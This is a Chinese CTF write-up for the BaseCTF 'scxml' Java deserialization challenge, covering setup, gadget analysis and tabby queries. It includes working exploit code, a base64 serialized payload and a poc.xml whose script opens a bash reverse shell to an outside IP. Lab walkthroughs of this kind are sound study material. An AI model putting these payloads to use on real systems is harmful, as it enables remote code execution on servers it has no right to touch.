BaseCTF scxml 详解

admin 2025年1月7日15:02:18评论19 views字数 10426阅读34分45秒阅读模式
本文由掌控安全学院 -  yusi 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

环境搭建,给的附件中就一个 Main.java 和四个 jar 包,借由这道题简单讲讲一般 CTFJAVA 题目的环境搭建

环境搭建

jadx 反编译

之前前面看的几道题由于都是 spring 环境,自己写的类也少,所以都是直接打开的 jar 包复制过去的, idea 会自动反编译 class 文件(当然只是不能保存为 java 文件而已,如果想要实现反编译并保存可以试试其插件)
直接用 jadx 打开整个文件夹,然后 ctrl+E 直接保存编译后的源代码,然后再用 idea 打开,不过这种一般有个问题,就是当反编译的文件太多的时候就会出现报错(因为打包时的各个环境不同,不能做到全部反编译也是很正常的),这种时候一般有三种方法
一、
慢慢修,也就是对照着 idea 中的 class 文件改。
二、
直接删除报错的 java 文件,然后引入原本的 jar 包当作依赖,不过这样就会 java 文件混子 class 文件,不推荐,因为之所以不用 class 文件就是因为全局搜方法的时候无法搜到。
但是如果知道需要什么方法,只需要简单看看代码其实不反编译也是可以的(这种对特别简单的题可以用,然后利用 tabby 直接寻找链子)。
三、
直接把那种一看就不是自己写的类之间用 maven 引入,看包名去 maven 上搜就知道该引入什么了。
总结、
以上方法其实还需要灵活应变,比如 maven 引入一些, jadx 反编译一些,有错的再用一来改。

本题环境搭建

再 lib 目录下有四个 jar 包
BaseCTF scxml 详解

img
一看就知道前三个是可以通过 maven 引入的,而最后一个是出题人自己写的,idea 打开看看,根据依赖,写入 pom.xml 中
<dependencies><dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.1.3</version></dependency><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><dependency><groupId>org.apache.commons</groupId><artifactId>commons-jexl</artifactId><version>2.1.1</version><optional>true</optional></dependency><dependency><groupId>org.codehaus.groovy</groupId><artifactId>groovy</artifactId><version>2.2.2</version><optional>true</optional></dependency><dependency><groupId>log4j</groupId><artifactId>log4j</artifactId><version>1.2.17</version><optional>true</optional></dependency><dependency><groupId>logkit</groupId><artifactId>logkit</artifactId><version>1.0.1</version><optional>true</optional></dependency><dependency><groupId>avalon-framework</groupId><artifactId>avalon-framework</artifactId><version>4.1.5</version><optional>true</optional></dependency><dependency><groupId>javax.servlet</groupId><artifactId>servlet-api</artifactId><version>2.3</version><scope>provided</scope><optional>true</optional></dependency><dependency><groupId>org.apache.bsf</groupId><artifactId>bsf-api</artifactId><version>3.1</version><scope>provided</scope></dependency></dependencies>
然后其中 commons-scxml2 引入时显示在阿里镜像源仓库无法找到,去官方搜搜是不是有这个依赖,
BaseCTF scxml 详解

img
看到是有的,不过需要换一个镜像进行引入,最后所以依赖引入后我又把镜像改回去了,然后出问题了,到下载源码的时候这个 commons-scxml2 无法下载源码,造
但是好在其他的都能成功下载源码,那么就直接单独把这个 jar 包进行反编译修改掉报错就行了,
BaseCTF scxml 详解

img

题目分析

先看 Main.java 源码
import com.sun.net.httpserver.HttpServer;import javax.naming.InitialContext;import java.io.IOException;publicclassMain{publicstaticvoid main(String[] args)throwsIOException{var port =Integer.parseInt(System.getenv().getOrDefault("PORT","9000"));var server =HttpServer.create(new java.net.InetSocketAddress(port),0); server.createContext("/", req ->{var code =200;var response =switch(req.getRequestURI().getPath()){case"/scxml"->{try{var param = req.getRequestURI().getQuery();yieldnew java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();}catch(Throwable e){ e.printStackTrace();yield":(";}}default->{ code =404;yield"Not found";}}; req.sendResponseHeaders(code,0);var os = req.getResponseBody(); os.write(response.getBytes()); os.close();}); server.start();System.out.printf("Server listening on :%sn", port);}}
看到在路由 /scxml 中存在一个反序列化,然后反序列化后还调用 tostring() 方法,在看看出题人自己定义的类
package com.n1ght;import java.io.Serializable;import java.util.Map;import org.apache.commons.scxml2.invoke.Invoker;import org.apache.commons.scxml2.invoke.InvokerException;/* loaded from: n1ght.jar:com/n1ght/InvokerImpl.class */publicclassInvokerImplimplementsSerializable{privatefinalInvoker o;privatefinalString source;privatefinalMapparams;publicInvokerImpl(Invoker o,String source,Mapparams){this.o = o;this.source = source;this.params=params;}publicString toString(){try{this.o.invoke(this.source,this.params);return"success invoke";}catch(InvokerException e){thrownewRuntimeException((Throwable) e);}}}
刚好有 tostring 方法,不难知道这里就是入口了,看到在 tostring 中调用了 Invoker 接口类的 invoke 方法,搜索一番发现只有 SimpleSCXMLInvoker 类进行了继承,跟进到其 invoke 方法
BaseCTF scxml 详解

img
看不出什么所以然来,直接搜索 scxml 的 xxe 漏洞,
参考:https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
给的 demo
BaseCTF scxml 详解

img
看到是通过 SCXMLReader.read 来进行连接获取 URL 中的 xml 资源,然后利用 executor.setStateMachine(scxml); 来进行加载资源,最后通过 executor.go() 执行获得的内容。
这里的 invoke 方法中刚好都有所以 poc
import com.n1ght.InvokerImpl;import org.apache.commons.scxml2.SCInstance;import org.apache.commons.scxml2.SCXMLExecutor;import org.apache.commons.scxml2.env.jexl.JexlEvaluator;import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;publicclass exp {publicstaticvoid main(String[] args)throwsException{SimpleSCXMLInvoker simin=newSimpleSCXMLInvoker();Constructor constructor =SCInstance.class.getDeclaredConstructor(SCXMLExecutor.class); constructor.setAccessible(true);SCInstance sci = constructor.newInstance(newSCXMLExecutor()); setValue(sci,"evaluator",newJexlEvaluator()); setValue(simin,"parentSCInstance",sci);HashMap hashmap =newHashMap();InvokerImplin=newInvokerImpl(simin,"http://106.53.212.184:9001/poc.xml",hashmap);try{ByteArrayOutputStreamout=newByteArrayOutputStream();ObjectOutputStream objout =newObjectOutputStream(out); objout.writeObject(in); objout.close();out.close();byte[]ObjectBytes=out.toByteArray();String base64EncodedValue =Base64.getEncoder().encodeToString(ObjectBytes);System.out.println(base64EncodedValue);}catch(Exception e){ e.printStackTrace();}}publicstaticvoid setValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value);}}
payload
rO0ABXNyABVjb20ubjFnaHQuSW52b2tlckltcGyTOSc2zqCsvwIAA0wAAW90ACpMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9pbnZva2UvSW52b2tlcjtMAAZwYXJhbXN0AA9MamF2YS91dGlsL01hcDtMAAZzb3VyY2V0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADNvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmludm9rZS5TaW1wbGVTQ1hNTEludm9rZXIAAAAAAAAAAQIABVoACWNhbmNlbGxlZEwAC2V2ZW50UHJlZml4cQB+AANMAAhleGVjdXRvcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MRXhlY3V0b3I7TAAQcGFyZW50U0NJbnN0YW5jZXQAJkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDSW5zdGFuY2U7TAANcGFyZW50U3RhdGVJZHEAfgADeHAAcHBzcgAkb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ0luc3RhbmNlAAAAAAAAAAICAApMAAtjb21wbGV0aW9uc3EAfgACTAAIY29udGV4dHNxAH4AAkwACWV2YWx1YXRvcnQAJUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2YWx1YXRvcjtMAAhleGVjdXRvcnEAfgAGTAAJaGlzdG9yaWVzcQB+AAJMABRpbml0aWFsU2NyaXB0Q29udGV4dHQAI0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0NvbnRleHQ7TAAOaW52b2tlckNsYXNzZXNxAH4AAkwACGludm9rZXJzcQB+AAJMABRub3RpZmljYXRpb25SZWdpc3RyeXQAMExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL05vdGlmaWNhdGlvblJlZ2lzdHJ5O0wAC3Jvb3RDb250ZXh0cQB+AAt4cHNyACVqYXZhLnV0aWwuQ29sbGVjdGlvbnMkU3luY2hyb25pemVkTWFwG3P5CUtLOXsDAAJMAAFtcQB+AAJMAAVtdXRleHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ABB4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgATeHNyADBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmVudi5qZXhsLkpleGxFdmFsdWF0b3IAAAAAAAAAAQIAAloAEGpleGxFbmdpbmVTaWxlbnRaABBqZXhsRW5naW5lU3RyaWN0eHAAAHNyACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3IAAAAAAAAAAQIACFoACXN1cGVyU3RlcEwADWN1cnJlbnRTdGF0dXN0ACJMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TdGF0dXM7TAANZXJyb3JSZXBvcnRlcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0Vycm9yUmVwb3J0ZXI7TAAPZXZlbnRkaXNwYXRjaGVydAArTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvRXZlbnREaXNwYXRjaGVyO0wAA2xvZ3QAIExvcmcvYXBhY2hlL2NvbW1vbnMvbG9nZ2luZy9Mb2c7TAAKc2NJbnN0YW5jZXEAfgAHTAAJc2VtYW50aWNzdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU0NYTUxTZW1hbnRpY3M7TAAMc3RhdGVNYWNoaW5ldAAnTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvbW9kZWwvU0NYTUw7eHABc3IAIG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU3RhdHVzAAAAAAAAAAECAAJMAAZldmVudHN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247TAAGc3RhdGVzdAAPTGphdmEvdXRpbC9TZXQ7eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAB4cHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmxvZ2dpbmcuaW1wbC5KZGsxNExvZ2dlckJmt5/gKqC8AgABTAAEbmFtZXEAfgADeHB0ACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3JzcQB+AAlzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ACt4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAteHBxAH4AHnNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AL3hwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAxeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AM3hzcgAub3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5Ob3RpZmljYXRpb25SZWdpc3RyeQAAAAAAAAABAgABTAAEcmVnc3EAfgACeHBzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ADd4cHNyADZvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5TQ1hNTFNlbWFudGljc0ltcGwAAAAAAAAAAQIAAkwABmFwcExvZ3EAfgAbTAAQdGFyZ2V0Q29tcGFyYXRvcnQAQExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL3NlbWFudGljcy9UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcjt4cHNxAH4AJ3QAKG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NYTUxTZW1hbnRpY3NzcgA+b3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5zZW1hbnRpY3MuVHJhbnNpdGlvblRhcmdldENvbXBhcmF0b3IAAAAAAAAAAQIAAHhwcHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AQHhwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBCeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARHhzcQB+ADVzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AEd4cHBzcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4dAAiaHR0cDovLzEwNi41My4yMTIuMTg0OjkwMDEvcG9jLnhtbA==
成功弹出计算机
BaseCTF scxml 详解

img
题目上复现获得 flag
poc.xml
<?xml version="1.0"?><scxmlxmlns="http://www.w3.org/2005/07/scxml"version="1.0"initial="run"><stateid="run"><onentry><script>''.getClass().forName('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")</script></onentry></state></scxml>
BaseCTF scxml 详解

img

番外

其实一开始我是没用看到在反序列化后调用了 tostring 方法的,然后就自己试着去找怎么从 readObject 调用到 toString,还是简单说说思路吧,这里先直接从原生的类开始起手,不难想到 hashmap 的 readObject 可以,直接全局搜索 hashcode,看哪些的 hashcode 可以调用到 toString,发现太多了,找了一下就放弃了,
然后又是了一下 hashtable 的 readObject,可以调用到 get 方法,那么就从 get 找看哪些 get 方法可以调用到 toString 方法,发现一个 map 类差一点就能成功,可惜其 map 中的 key 和 value 的类型固定,key 不能为 Object 类型,而 get 中又是 key.toString()。
事后了解到了 tabby 静态代码分析工具,
配置参考下方附件
然后查找命令
match (source:Method{NAME:"readObject",CLASSNAME:"java.util.HashMap"})match (sink:Method{NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink)as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0],12,false)yield pathreturn path limit 1
BaseCTF scxml 详解

img
看到通过其强大的污点分析功能得到了一条链子,但是后面试了一下是错的。
同样搜索从 hashtable 的 readobject 到 tostring 一样的有一条链子,但是没有试过。
match (source:Method{NAME:"readObject",CLASSNAME:"java.util.Hashtable"})match (sink:Method{NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink)as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0],12,false)yield pathreturn path limit 1
BaseCTF scxml 详解

img
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

BaseCTF scxml 详解

 

原文始发于微信公众号(掌控安全EDU):BaseCTF scxml 详解

 


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月7日15:02:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BaseCTF scxml 详解https://cn-sec.com/archives/3601050.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息